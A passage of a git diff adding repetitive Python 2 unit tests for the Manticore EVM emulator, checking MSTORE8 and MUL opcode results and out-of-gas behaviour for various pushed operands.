+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_51(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(16), 16)
+
+    def test_MSTORE8_52(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(32), 16)
+
+    def test_MSTORE8_53(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(48), 16)
+
+    def test_MSTORE8_54(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_55(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_56(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(0), 32)
+
+    def test_MSTORE8_57(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(1), 32)
+
+    def test_MSTORE8_58(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_59(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_60(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(16), 32)
+
+    def test_MSTORE8_61(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(32), 32)
+
+    def test_MSTORE8_62(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(48), 32)
+
+    def test_MSTORE8_63(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_64(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_65(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(0), 48)
+
+    def test_MSTORE8_66(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(1), 48)
+
+    def test_MSTORE8_67(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_68(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_69(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(16), 48)
+
+    def test_MSTORE8_70(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(32), 48)
+
+    def test_MSTORE8_71(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(48), 48)
+
+    def test_MSTORE8_72(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_73(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_74(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(0), 0L)
+
+    def test_MSTORE8_75(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(1), 0L)
+
+    def test_MSTORE8_76(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_77(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_78(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(16), 0L)
+
+    def test_MSTORE8_79(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(32), 0L)
+
+    def test_MSTORE8_80(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(48), 0L)
+
+    def test_MSTORE8_81(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMMUL.py b/tests/EVM/test_EVMMUL.py
new file mode 100644
index 0000000..5bf1272
--- /dev/null
+++ b/tests/EVM/test_EVMMUL.py
@@ -0,0 +1,2306 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_MUL(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_MUL_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_MUL_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
